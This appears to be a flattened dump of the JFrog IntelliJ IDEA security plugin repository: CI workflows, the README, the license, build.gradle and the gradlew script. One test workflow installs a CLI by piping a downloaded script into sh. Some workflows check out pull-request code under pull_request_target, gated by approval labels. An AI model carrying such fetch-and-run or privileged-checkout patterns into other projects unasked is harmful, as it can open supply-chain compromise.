└── main.py └── yarn/ ├── exampleYarnMonorepo/ │ ├── .gitignore │ ├── mobile/ │ │ └── package.json │ ├── package.json │ └── web/ │ └── package.json └── exampleYarnPackage/ ├── .gitignore └── package.json ================================================ FILE CONTENTS ================================================ ================================================ FILE: .github/ISSUE_TEMPLATE/bug_report.md ================================================ --- name: 🐞 Bug report about: Create a report to help us improve title: '' labels: bug assignees: '' --- **Describe the bug** A clear and concise description of what the bug is. **To Reproduce** Steps to reproduce the behavior **Expected behavior** A clear and concise description of what you expected to happen. **Screenshots** If applicable, add screenshots to help explain your problem. **Versions** - JFrog IDEA plugin version: - Operating system: - Xray version: **Additional context** Add any other context about the problem here. ================================================ FILE: .github/ISSUE_TEMPLATE/feature_request.md ================================================ --- name: ⭐️ Feature request about: Suggest an idea for this project title: '' labels: feature request assignees: '' --- **Is your feature request related to a problem? Please describe.** A clear and concise description of what the problem is. Ex. I'm always frustrated when [...] **Describe the solution you'd like to see** A clear and concise description of the new feature. **Describe alternatives you've considered** If applicable, a clear and concise description of any alternative solutions or features you've considered. **Additional context** Add any other context or screenshots about the feature request here. ================================================ FILE: .github/ISSUE_TEMPLATE/question.md ================================================ --- name: ❓ Question about: Ask a question title: '' labels: question assignees: '' --- ================================================ FILE: .github/PULL_REQUEST_TEMPLATE.md ================================================ - [ ] All [tests](https://github.com/jfrog/jfrog-idea-plugin/actions/workflows/test.yml) passed. If this feature is not already covered by the tests, I added new tests. ----- ================================================ FILE: .github/release.yml ================================================ changelog: exclude: labels: - ignore for release categories: - title: Breaking Changes 🚨 labels: - breaking change - title: Exciting New Features 🎉 labels: - new feature - title: Improvements 🌱 labels: - improvement - title: Bug Fixes 🛠 labels: - bug - title: Other Changes 📚 labels: - "*" ================================================ FILE: .github/workflows/cla.yml ================================================ name: "CLA Assistant" on: # issue_comment triggers this action on each comment on issues and pull requests issue_comment: types: [created] pull_request_target: types: [opened,synchronize] jobs: CLAssistant: runs-on: ubuntu-latest steps: - uses: actions-ecosystem/action-regex-match@v2 id: sign-or-recheck with: text: ${{ github.event.comment.body }} regex: '\s*(I have read the CLA Document and I hereby sign the CLA)|(recheckcla)\s*' - name: "CLA Assistant" if: ${{ steps.sign-or-recheck.outputs.match != '' || github.event_name == 'pull_request_target' }} # Alpha Release uses: cla-assistant/github-action@v2.1.1-beta env: # Generated and maintained by github GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} # JFrog organization secret PERSONAL_ACCESS_TOKEN : ${{ secrets.CLA_SIGN_TOKEN }} with: path-to-signatures: 'signed_clas.json' path-to-document: 'https://jfrog.com/cla/' remote-organization-name: 'jfrog' remote-repository-name: 'jfrog-signed-clas' # branch should not be protected branch: 'master' allowlist: bot* ================================================ FILE: .github/workflows/frogbot-scan-pull-request.yml ================================================ name: "Frogbot Scan Pull Request" on: pull_request_target: types: [opened, synchronize] permissions: pull-requests: write contents: read jobs: scan-pull-request: runs-on: ubuntu-latest # A pull request needs to be approved, before Frogbot scans it. Any GitHub user who is associated with the # "frogbot" GitHub environment can approve the pull request to be scanned. environment: frogbot steps: - uses: actions/checkout@v2 with: ref: ${{ github.event.pull_request.head.sha }} - uses: jfrog-fastci/fastci@main # Use the FastCI optimization action with: github_token: ${{secrets.GITHUB_TOKEN}} fastci_otel_token: ${{ secrets.FASTCI_TOKEN }} # Install prerequisites - name: Set up Java uses: actions/setup-java@v3 with: java-version: "11" distribution: "temurin" - name: Setup Gradle uses: gradle/gradle-build-action@v2 with: gradle-version: 7.4.1 - uses: jfrog/frogbot@v2 env: # [Mandatory] # JFrog platform URL (This functionality requires version 3.29.0 or above of Xray) JF_URL: ${{ secrets.FROGBOT_URL }} # [Mandatory if JF_USER and JF_PASSWORD are not provided] # JFrog access token with 'read' permissions on Xray service JF_ACCESS_TOKEN: ${{ secrets.FROGBOT_ACCESS_TOKEN }} # [Mandatory] # The GitHub token automatically generated for the job JF_GIT_TOKEN: ${{ secrets.GITHUB_TOKEN }} ================================================ FILE: .github/workflows/integration-tests.yml ================================================ name: "Integration Tests" on: push: # Triggers the workflow on labeled PRs only. pull_request_target: types: [ labeled ] schedule: - cron: '0 6 * * *' # Runs every day at 6:00 AM GMT # Ensures that only the latest commit is running for each PR at a time. concurrency: group: ${{ github.workflow }}-${{ github.event.pull_request.number || github.sha }}-${{ github.ref }} cancel-in-progress: true jobs: test: if: github.event_name == 'schedule' || github.event_name == 'push' || (github.event_name == 'pull_request_target' && contains(github.event.pull_request.labels.*.name, 'safe to test')) runs-on: ${{ matrix.os }} strategy: fail-fast: false matrix: os: [ ubuntu-latest, windows-latest, macOS-latest, macos-13 ] include: - os: windows-latest gradlew_suffix: .bat steps: - name: Remove 'safe to test' label uses: actions-ecosystem/action-remove-labels@v1 with: labels: "safe to test" - uses: actions/checkout@v3 with: ref: ${{ github.event.pull_request.head.sha }} submodules: true - uses: jfrog-fastci/fastci@main # Use the FastCI optimization action with: github_token: ${{secrets.GITHUB_TOKEN}} fastci_otel_token: ${{ secrets.FASTCI_TOKEN }} # Install required tools - name: Set up Java uses: actions/setup-java@v3 with: distribution: "temurin" java-version: "17" # Run integration tests - name: Integration Tests env: JFROG_IDE_PLATFORM_URL: ${{ secrets.PLATFORM_URL }} JFROG_IDE_ACCESS_TOKEN: ${{ secrets.PLATFORM_ADMIN_TOKEN }} JFROG_IDE_TEST_EXTERNAL_RESOURCES_REPO: "releases-remote" run: ./gradlew${{ matrix.gradlew_suffix }} clean integrationTests ================================================ FILE: .github/workflows/test.yml ================================================ name: Test on: [ push, pull_request ] jobs: test: runs-on: ${{ matrix.os }} strategy: fail-fast: false matrix: os: [ ubuntu-latest, windows-latest, macOS-latest ] testCommand: [ "test", "pythonTests" ] include: - os: windows-latest gradlewSuffix: .bat - testCommand: "pythonTests" testName: Python name: ${{ matrix.testName }} Tests on ${{ matrix.os }} steps: - uses: actions/checkout@v3 - uses: jfrog-fastci/fastci@main # Use the FastCI optimization action with: github_token: ${{secrets.GITHUB_TOKEN}} fastci_otel_token: ${{ secrets.FASTCI_TOKEN }} # Install required tools - name: Set up Java uses: actions/setup-java@v3 with: distribution: 'temurin' java-version: '17' - name: Setup Gradle uses: gradle/gradle-build-action@v2 with: gradle-version: 7.6 - name: Setup NodeJS uses: actions/setup-node@v3 with: node-version: '20' check-latest: true - uses: actions/setup-python@v4 with: python-version: '3.11.5' # Install JFrog CLI for ConnectionDetailsFromCliTest - name: Install JFrog CLI run: curl -fL https://install-cli.jfrog.io | sh # Run tests - name: ${{ matrix.testName }} Tests on ${{ matrix.os }} run: ./gradlew${{ matrix.gradlewSuffix }} clean ${{ matrix.testCommand }} ================================================ FILE: .github/workflows/verification.yml ================================================ name: "Compatibility verification" on: [ push, pull_request ] jobs: test: runs-on: macOS-latest name: Compatibility verification steps: - uses: actions/checkout@v3 - uses: jfrog-fastci/fastci@main # Use the FastCI optimization action with: github_token: ${{secrets.GITHUB_TOKEN}} fastci_otel_token: ${{ secrets.FASTCI_TOKEN }} # Install required tools - name: Set up Java uses: actions/setup-java@v3 with: distribution: 'temurin' java-version: '17' - name: Setup Gradle uses: gradle/gradle-build-action@v2 with: gradle-version: 7.6 # Run compatibility verification - name: Compatibility verification run: ./gradlew clean verifyPlugin runPluginVerifier ================================================ FILE: .gitignore ================================================ # Created by .ignore support plugin (hsz.mobi) ### Java template *.class # BlueJ files *.ctxt # Mobile Tools for Java (J2ME) .mtj.tmp/ # Package Files # *.war *.ear *node_modules/ # virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml hs_err_pid* ### JetBrains template # Covers JetBrains IDEs: IntelliJ, RubyMine, PhpStorm, AppCode, PyCharm, CLion, Android Studio and Webstorm # Reference: https://intellij-support.jetbrains.com/hc/en-us/articles/206544839 # User-specific stuff: .idea/tasks.xml # Sensitive or high-churn files: .idea/dataSources/ .idea/dataSources.ids .idea/dataSources.xml .idea/dataSources.local.xml .idea/sqlDataSources.xml .idea/dynamic.xml # Gradle: .idea .gradle /out /build /*/build /*/out # Mongo Explorer plugin: .idea/mongoSettings.xml ## File-based project format: *.iws ## Plugin-specific files: # IntelliJ /out/ # mpeltonen/sbt-idea plugin .idea_modules/ # JIRA plugin atlassian-ide-plugin.xml # Crashlytics plugin (for Android Studio and IntelliJ) com_crashlytics_export_strings.xml crashlytics.properties crashlytics-build.properties fabric.properties ## IOS .DS_Store #JFrog .jfrog #npm .npmrc # Webview /src/main/resources/jfrog-ide-webview ================================================ FILE: CONTRIBUTING.md ================================================ # Guidelines - If the existing tests do not already cover your changes, please add tests. ## Building and Testing the Sources To build the plugin sources, please follow these steps: 1. Clone the code from git. 2. Build and create the JFrog IDEA Plugin zip file by running the following gradle command: ```bash ./gradlew clean build ``` After the build finishes, you'll find the zip file in the *build/distributions* directory, located under the *jfrog-idea-plugin* directory. The zip file can be loaded into IntelliJ. ## Additional Tests Suits 1. In order to run the Python tests suite, run the following gradle command: ```bash ./gradlew clean pythonTests ``` 2. In order to run the integration tests: - Make sure you have JFrog platform Instance with JAS enabled. - If you are using JFrog CLI, just make sure the current configured server is the one you want to use. Alternatively, you can set JFROG_IDE_PLATFORM_URL and JFROG_IDE_ACCESS_TOKEN environment variables with your JFrog Platform URL and access token, respectively. - Set the JFROG_IDE_TEST_EXTERNAL_RESOURCES_REPO environment variable to the name of a remote repository in your Artifactory instance that proxies https://releases.jfrog.io/. Run the following command: ```bash ./gradlew integrationTests ``` ## Debugging the Plugin Code To build and run the plugin following your code changes, follow these steps: 1. From IntelliJ, open the plugin project, by selecting *jfrog-idea-plugin/build.gradle* file. 2. Build the sources and launch the plugin by the following these steps: - From the *Gradle Projects* window, expand *Idea --> Tasks --> IntelliJ* - Debug the *runIdea* task. ================================================ FILE: LICENSE ================================================ Apache License Version 2.0, January 2004 http://www.apache.org/licenses/ TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 1. Definitions. "License" shall mean the terms and conditions for use, reproduction, and distribution as defined by Sections 1 through 9 of this document. "Licensor" shall mean the copyright owner or entity authorized by the copyright owner that is granting the License. "Legal Entity" shall mean the union of the acting entity and all other entities that control, are controlled by, or are under common control with that entity. For the purposes of this definition, "control" means (i) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity. "You" (or "Your") shall mean an individual or Legal Entity exercising permissions granted by this License. "Source" form shall mean the preferred form for making modifications, including but not limited to software source code, documentation source, and configuration files. "Object" form shall mean any form resulting from mechanical transformation or translation of a Source form, including but not limited to compiled object code, generated documentation, and conversions to other media types. "Work" shall mean the work of authorship, whether in Source or Object form, made available under the License, as indicated by a copyright notice that is included in or attached to the work (an example is provided in the Appendix below). "Derivative Works" shall mean any work, whether in Source or Object form, that is based on (or derived from) the Work and for which the editorial revisions, annotations, elaborations, or other modifications represent, as a whole, an original work of authorship. For the purposes of this License, Derivative Works shall not include works that remain separable from, or merely link (or bind by name) to the interfaces of, the Work and Derivative Works thereof. "Contribution" shall mean any work of authorship, including the original version of the Work and any modifications or additions to that Work or Derivative Works thereof, that is intentionally submitted to Licensor for inclusion in the Work by the copyright owner or by an individual or Legal Entity authorized to submit on behalf of the copyright owner. For the purposes of this definition, "submitted" means any form of electronic, verbal, or written communication sent to the Licensor or its representatives, including but not limited to communication on electronic mailing lists, source code control systems, and issue tracking systems that are managed by, or on behalf of, the Licensor for the purpose of discussing and improving the Work, but excluding communication that is conspicuously marked or otherwise designated in writing by the copyright owner as "Not a Contribution." "Contributor" shall mean Licensor and any individual or Legal Entity on behalf of whom a Contribution has been received by Licensor and subsequently incorporated within the Work. 2. Grant of Copyright License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare Derivative Works of, publicly display, publicly perform, sublicense, and distribute the Work and such Derivative Works in Source or Object form. 3. Grant of Patent License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer the Work, where such license applies only to those patent claims licensable by such Contributor that are necessarily infringed by their Contribution(s) alone or by combination of their Contribution(s) with the Work to which such Contribution(s) was submitted. If You institute patent litigation against any entity (including a cross-claim or counterclaim in a lawsuit) alleging that the Work or a Contribution incorporated within the Work constitutes direct or contributory patent infringement, then any patent licenses granted to You under this License for that Work shall terminate as of the date such litigation is filed. 4. Redistribution. You may reproduce and distribute copies of the Work or Derivative Works thereof in any medium, with or without modifications, and in Source or Object form, provided that You meet the following conditions: (a) You must give any other recipients of the Work or Derivative Works a copy of this License; and (b) You must cause any modified files to carry prominent notices stating that You changed the files; and (c) You must retain, in the Source form of any Derivative Works that You distribute, all copyright, patent, trademark, and attribution notices from the Source form of the Work, excluding those notices that do not pertain to any part of the Derivative Works; and (d) If the Work includes a "NOTICE" text file as part of its distribution, then any Derivative Works that You distribute must include a readable copy of the attribution notices contained within such NOTICE file, excluding those notices that do not pertain to any part of the Derivative Works, in at least one of the following places: within a NOTICE text file distributed as part of the Derivative Works; within the Source form or documentation, if provided along with the Derivative Works; or, within a display generated by the Derivative Works, if and wherever such third-party notices normally appear. The contents of the NOTICE file are for informational purposes only and do not modify the License. You may add Your own attribution notices within Derivative Works that You distribute, alongside or as an addendum to the NOTICE text from the Work, provided that such additional attribution notices cannot be construed as modifying the License. You may add Your own copyright statement to Your modifications and may provide additional or different license terms and conditions for use, reproduction, or distribution of Your modifications, or for any such Derivative Works as a whole, provided Your use, reproduction, and distribution of the Work otherwise complies with the conditions stated in this License. 5. Submission of Contributions. Unless You explicitly state otherwise, any Contribution intentionally submitted for inclusion in the Work by You to the Licensor shall be under the terms and conditions of this License, without any additional terms or conditions. Notwithstanding the above, nothing herein shall supersede or modify the terms of any separate license agreement you may have executed with Licensor regarding such Contributions. 6. Trademarks. This License does not grant permission to use the trade names, trademarks, service marks, or product names of the Licensor, except as required for reasonable and customary use in describing the origin of the Work and reproducing the content of the NOTICE file. 7. Disclaimer of Warranty. Unless required by applicable law or agreed to in writing, Licensor provides the Work (and each Contributor provides its Contributions) on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied, including, without limitation, any warranties or conditions of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE. You are solely responsible for determining the appropriateness of using or redistributing the Work and assume any risks associated with Your exercise of permissions under this License. 8. Limitation of Liability. In no event and under no legal theory, whether in tort (including negligence), contract, or otherwise, unless required by applicable law (such as deliberate and grossly negligent acts) or agreed to in writing, shall any Contributor be liable to You for damages, including any direct, indirect, special, incidental, or consequential damages of any character arising as a result of this License or out of the use or inability to use the Work (including but not limited to damages for loss of goodwill, work stoppage, computer failure or malfunction, or any and all other commercial damages or losses), even if such Contributor has been advised of the possibility of such damages. 9. Accepting Warranty or Additional Liability. While redistributing the Work or Derivative Works thereof, You may choose to offer, and charge a fee for, acceptance of support, warranty, indemnity, or other liability obligations and/or rights consistent with this License. However, in accepting such obligations, You may act only on Your own behalf and on Your sole responsibility, not on behalf of any other Contributor, and only if You agree to indemnify, defend, and hold each Contributor harmless for any liability incurred by, or claims asserted against, such Contributor by reason of your accepting any such warranty or additional liability. END OF TERMS AND CONDITIONS APPENDIX: How to apply the Apache License to your work. To apply the Apache License to your work, attach the following boilerplate notice, with the fields enclosed by brackets "{}" replaced with your own identifying information. (Don't include the brackets!) The text should be enclosed in the appropriate comment syntax for the file format. We also recommend that a file or class name and description of purpose be included on the same "printed page" as the copyright notice for easier identification within third-party archives. Copyright {yyyy} {name of copyright owner} Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ================================================ FILE: README.md ================================================ [![](readme-resources/readme_image.png)](#readme)
# JFrog IntelliJ IDEA Plugin ![JFrog IntelliJ IDEA Plugin Marketplace Installs](https://img.shields.io/jetbrains/plugin/d/9834-jfrog?label=Marketplace%20installs&color=blue&style=for-the-badge) [![Scanned by Frogbot](https://raw.github.com/jfrog/frogbot/master/images/frogbot-badge.svg)](https://github.com/jfrog/frogbot#readme) [![Build status](https://github.com/jfrog/jfrog-idea-plugin/actions/workflows/test.yml/badge.svg)](https://github.com/jfrog/jfrog-idea-plugin/actions/workflows/test.yml) [![Marketplace](https://img.shields.io/jetbrains/plugin/v/9834-jfrog)](https://plugins.jetbrains.com/plugin/9834-jfrog)
# 🤖 About this Plugin The plugin allows developers to find and fix security vulnerabilities in their projects and to see valuable information about the status of their code by continuously scanning it locally with [JFrog Security](https://jfrog.com/xray/). ### What security capabilities do we provide? #### Basic
Software Composition Analysis (SCA) Scans your project dependencies for security issues and shows you which dependencies are vulnerable. If the vulnerabilities have a fix, you can upgrade to the version with the fix in a click of a button.
CVE Research and Enrichment For selected security issues, get leverage-enhanced CVE data that is provided by our JFrog Security Research team. Prioritize the CVEs based on: - **JFrog Severity**: The severity given by the JFrog Security Research team after the manual analysis of the CVE by the team. CVEs with the highest JFrog security severity are the most likely to be used by real-world attackers. This means that you should put effort into fixing them as soon as possible. - **Research Summary**: The summary that is based on JFrog's security analysis of the security issue provides detailed technical information on the specific conditions for the CVE to be applicable. - **Remediation**: Detailed fix and mitigation options for the CVEs You can learn more about enriched CVEs [here](https://jfrog.com/help/r/jfrog-security-documentation/jfrog-security-cve-research-and-enrichment). Check out what our research team is up to and stay updated on newly discovered issues by clicking on this link:
#### Advanced *Requires Xray version 3.66.5 or above and Enterprise X / Enterprise+ subscription with [Advanced DevSecOps](https://jfrog.com/xray/#xray-advanced)).*
CVEs Contextual Analysis Uses the code context to eliminate false positive reports on vulnerable dependencies that are not applicable to the code. CVEs Contextual Analysis is currently supported for Python, Java and JavaScript code.
Secrets Detection Prevents the exposure of keys or credentials that are stored in your source code.
Infrastructure as Code (IaC) Scan Secures your IaC files. Critical to keeping your cloud deployment safe and secure.
#### Additional Perks - Security issues are easily visible inline. - The results show issues with context, impact, and remediation. - View all security issues in one place, in the JFrog tab. - For Security issues with an available fixed version, you can upgrade to the fixed version within the plugin. - Track the status of the code while it is being built, tested, and scanned on the CI server. In addition to IntelliJ IDEA, the plugin also supports the following IDEs: - WebStorm - PyCharm - Android Studio - GoLand - Rider - CLion # 📖 Documentation Read the [documentation](https://docs.jfrog-applications.jfrog.io/jfrog-applications/ide/jetbrains-ides) to get started. # 🔥 Reporting Issues Please report issues by opening an issue on [GitHub](https://github.com/jfrog/jfrog-idea-plugin/issues). # 💻 Contributions We welcome community contribution through pull requests. To help us improve this project, please read our [Contribution](./CONTRIBUTING.md#guidelines) guide. # 🥏 Release Notes The release notes are available [here](https://github.com/jfrog/jfrog-idea-plugin/releases). ================================================ FILE: build.gradle ================================================ import java.net.http.HttpClient import java.net.http.HttpRequest import java.net.http.HttpResponse import java.nio.file.Paths plugins { id "org.jetbrains.intellij" version "1.16.0" id "java" id "maven-publish" id "de.undercouch.download" version "5.3.0" id "io.freefair.lombok" version "8.0.1" } group 'com.jfrog.ide' version currentVersion sourceCompatibility = JavaVersion.VERSION_17 targetCompatibility = JavaVersion.VERSION_17 def testPython = project.gradle.startParameter.taskNames.contains("pythonTests") def intellijType = testPython ? "IC" : "IU" intellij { version = sandboxVersion type = intellijType plugins = ['gradle', 'maven', 'Groovy', 'properties', 'java', 'Kotlin', 'org.jetbrains.plugins.go:223.8617.56', "PythonCore:223.8617.56"] pluginName = 'JFrog' } runPluginVerifier { verifierVersion = '1.400' } runIde { jvmArgs '-Xmx2G' } patchPluginXml { sinceBuild = "223.4884.69" // Explicitly setting this to an empty string makes the plugin compatible with all IDE versions up to the latest one. // Removing this line will limit compatibility to IDE versions up to 'sandboxVersion'. untilBuild = "" } listProductsReleases { doLast { // At the end of the build, write the first and last versions of the products to the output file. // This will be used by the runPluginVerifier task to validate the compatibility of the plugin against the // first and last versions of IntelliJ IDEA. def outputFileObj = outputFile.get().asFile if (outputFileObj.exists()) { def lines = outputFileObj.readLines() if (!lines.isEmpty()) { def firstVersion = lines.first() def lastVersion = lines.last() outputFileObj.write("$firstVersion\n$lastVersion") } } } } repositories { mavenLocal() mavenCentral() maven { url "https://releases.jfrog.io/artifactory/oss-releases" } maven { url "https://releases.jfrog.io/artifactory/oss-snapshots" } maven { url "https://cache-redirector.jetbrains.com/intellij-dependencies" } } def buildInfoVersion = '2.43.6' def idePluginsCommonVersion = '2.4.4' // Updated to 2.17.3 for security fixes - compatible with Java 8+ def jacksonVersion = '2.17.3' dependencies { implementation group: 'com.fasterxml.jackson.dataformat', name: 'jackson-dataformat-yaml', version: jacksonVersion implementation group: 'org.jfrog.buildinfo', name: 'build-info-extractor', version: buildInfoVersion implementation group: 'com.jfrog.ide', name: 'ide-plugins-common', version: idePluginsCommonVersion implementation group: 'org.jfrog.buildinfo', name: 'build-info-client', version: buildInfoVersion implementation group: 'com.fasterxml.jackson.core', name: 'jackson-databind', version: jacksonVersion implementation group: 'org.jfrog.buildinfo', name: 'build-info-api', version: buildInfoVersion implementation group: 'com.jfrog.xray.client', name: 'xray-client-java', version: '0.14.1' implementation group: 'org.apache.commons', name: 'commons-collections4', version: '4.4' implementation group: 'org.jfrog.filespecs', name: 'file-specs-java', version: '1.1.2' implementation group: 'org.apache.commons', name: 'commons-lang3', version: '3.11' implementation group: 'com.google.guava', name: 'guava', version: '32.0.1-jre' implementation group: 'org.codehaus.plexus', name: 'plexus-utils', version: '3.4.1' implementation group: 'net.lingala.zip4j', name: 'zip4j', version: '2.11.4' annotationProcessor group: 'org.projectlombok', name: 'lombok', version: '1.18.20' compileOnly group: 'org.projectlombok', name: 'lombok', version: '1.18.20' testImplementation group: 'org.mockito', name: 'mockito-inline', version: '4.2.0' testImplementation group: 'org.mockito', name: 'mockito-core', version: '4.2.0' } test { scanForTestClasses false include "**/*Test.class" exclude "**/*IntegrationTest*", "**/*PypiScannerTest*" testLogging { exceptionFormat "full" events "started", "passed", "skipped", "failed", "standardOut", "standardError" minGranularity 0 } } tasks.register('pythonTests', Test) { scanForTestClasses false include "**/*PypiScannerTest*" testLogging { exceptionFormat "full" events "started", "passed", "skipped", "failed", "standardOut", "standardError" minGranularity 0 } } tasks.register('integrationTests', Test) { scanForTestClasses false include "**/*IntegrationTests.class" testLogging { exceptionFormat "full" events "started", "passed", "skipped", "failed", "standardOut", "standardError" minGranularity 0 } } def webviewFileName = 'jfrog-ide-webview-' + webviewVersion + '.tgz' def webviewUrl = 'https://releases.jfrog.io/artifactory/ide-webview-npm/jfrog-ide-webview/-/' + webviewFileName tasks.register('downloadWebview', Download) { src webviewUrl dest buildDir onlyIfModified true finalizedBy('getAndUpdateWebviewChecksum') } tasks.register('getAndUpdateWebviewChecksum') { finalizedBy('verifyWebview') if (System.getenv("CI") != null) { println 'CI mode is active - Skipping Webview checksum update' ext.checksum = webviewChecksum return } ext.checksum = getWebviewChecksumFromServer(webviewUrl) updateWebviewChecksumInPropertiesFile(ext.checksum) } tasks.register('verifyWebview', Verify) { src new File(buildDir, webviewFileName) algorithm 'SHA-256' checksum getAndUpdateWebviewChecksum.checksum finalizedBy('extractWebview') } tasks.register('extractWebview', Copy) { from tarTree(new File(buildDir, webviewFileName)) into Paths.get('src', 'main', 'resources', 'jfrog-ide-webview').toFile() include '**/build/**/*' eachFile { path = path.replace('package/build/', '') } } tasks.withType(JavaCompile).configureEach { options.deprecation = true options.encoding = "UTF-8" } tasks.withType(ProcessResources).configureEach { dependsOn('downloadWebview') } publishing { publications { mavenJava(MavenPublication) { from components.java artifact buildPlugin } } } publishPlugin { token = System.getenv("JETBRAINS_TOKEN") } /** * Get Webview checksum from releases.jfrog.io * @param webviewUrl - Webview URL * @return the sha256 of the webview */ static String getWebviewChecksumFromServer(String webviewUrl) { def headRequest = HttpRequest.newBuilder(new URL(webviewUrl).toURI()).method("HEAD", HttpRequest.BodyPublishers.noBody()).build() def checksumResponse = HttpClient.newHttpClient().send(headRequest, HttpResponse.BodyHandlers.ofString()) return checksumResponse.headers().firstValue("x-checksum-sha256").get() } /** * Update the Webview checksum in the gradle.properties file * @param checksum - Webview checksum to update */ static def updateWebviewChecksumInPropertiesFile(String checksum) { def gradleProps = new Properties() File gradlePropertiesFile = new File("gradle.properties") gradlePropertiesFile.withInputStream { gradleProps.load(it) } gradleProps.setProperty("webviewChecksum", checksum) gradlePropertiesFile.withWriter('UTF-8') { fileWriter -> gradleProps.each { key, value -> fileWriter.writeLine "$key=$value" } } } ================================================ FILE: gradle/wrapper/gradle-wrapper.properties ================================================ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists distributionUrl=https\://services.gradle.org/distributions/gradle-7.6-bin.zip networkTimeout=10000 zipStoreBase=GRADLE_USER_HOME zipStorePath=wrapper/dists ================================================ FILE: gradle.properties ================================================ webviewVersion=0.2.14 sandboxVersion=2022.3.2 webviewChecksum=434265d6fa98eabbb4108f3157ce5cdc499c4d9fa294eb7b723e2a4d559ed156 currentVersion=2.8.x-SNAPSHOT ================================================ FILE: gradlew ================================================ #!/bin/sh # # Copyright © 2015-2021 the original authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ############################################################################## # # Gradle start up script for POSIX generated by Gradle. # # Important for running: # # (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is # noncompliant, but you have some other compliant shell such as ksh or # bash, then to run this script, type that shell name before the whole # command line, like: # # ksh Gradle # # Busybox and similar reduced shells will NOT work, because this script # requires all of these POSIX shell features: # * functions; # * expansions «$var», «${var}», «${var:-default}», «${var+SET}», # «${var#prefix}», «${var%suffix}», and «$( cmd )»; # * compound commands having a testable exit status, especially «case»; # * various built-in commands including «command», «set», and «ulimit». # # Important for patching: # # (2) This script targets any POSIX shell, so it avoids extensions provided # by Bash, Ksh, etc; in particular arrays are avoided. # # The "traditional" practice of packing multiple parameters into a # space-separated string is a well documented source of bugs and security # problems, so this is (mostly) avoided, by progressively accumulating # options in "$@", and eventually passing that to Java. # # Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS, # and GRADLE_OPTS) rely on word-splitting, this is performed explicitly; # see the in-line comments for details. # # There are tweaks for specific operating systems such as AIX, CygWin, # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template # https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. # ############################################################################## # Attempt to set APP_HOME # Resolve links: $0 may be a link app_path=$0 # Need this for daisy-chained symlinks. while APP_HOME=${app_path%"${app_path##*/}"} # leaves a trailing /; empty if no leading path [ -h "$app_path" ] do ls=$( ls -ld "$app_path" ) link=${ls#*' -> '} case $link in #( /*) app_path=$link ;; #( *) app_path=$APP_HOME$link ;; esac done # This is normally unused # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} APP_HOME=$( cd "${APP_HOME:-./}" && pwd -P ) || exit # Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum warn () { echo "$*" } >&2 die () { echo echo "$*" echo exit 1 } >&2 # OS specific support (must be 'true' or 'false'). cygwin=false msys=false darwin=false nonstop=false case "$( uname )" in #( CYGWIN* ) cygwin=true ;; #( Darwin* ) darwin=true ;; #( MSYS* | MINGW* ) msys=true ;; #( NONSTOP* ) nonstop=true ;; esac CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar # Determine the Java command to use to start the JVM. if [ -n "$JAVA_HOME" ] ; then if [ -x "$JAVA_HOME/jre/sh/java" ] ; then # IBM's JDK on AIX uses strange locations for the executables JAVACMD=$JAVA_HOME/jre/sh/java else JAVACMD=$JAVA_HOME/bin/java fi if [ ! -x "$JAVACMD" ] ; then die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME Please set the JAVA_HOME variable in your environment to match the location of your Java installation." fi else JAVACMD=java which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. Please set the JAVA_HOME variable in your environment to match the location of your Java installation." fi # Increase the maximum file descriptors if we can. if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then case $MAX_FD in #( max*) # In POSIX sh, ulimit -H is undefined. That's why the result is checked to see if it worked. # shellcheck disable=SC3045 MAX_FD=$( ulimit -H -n ) || warn "Could not query maximum file descriptor limit" esac case $MAX_FD in #( '' | soft) :;; #( *) # In POSIX sh, ulimit -n is undefined. That's why the result is checked to see if it worked. # shellcheck disable=SC3045 ulimit -n "$MAX_FD" || warn "Could not set maximum file descriptor limit to $MAX_FD" esac fi # Collect all arguments for the java command, stacking in reverse order: # * args from the command line # * the main class name # * -classpath # * -D...appname settings # * --module-path (only if needed) # * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables. # For Cygwin or MSYS, switch paths to Windows format before running java if "$cygwin" || "$msys" ; then APP_HOME=$( cygpath --path --mixed "$APP_HOME" ) CLASSPATH=$( cygpath --path --mixed 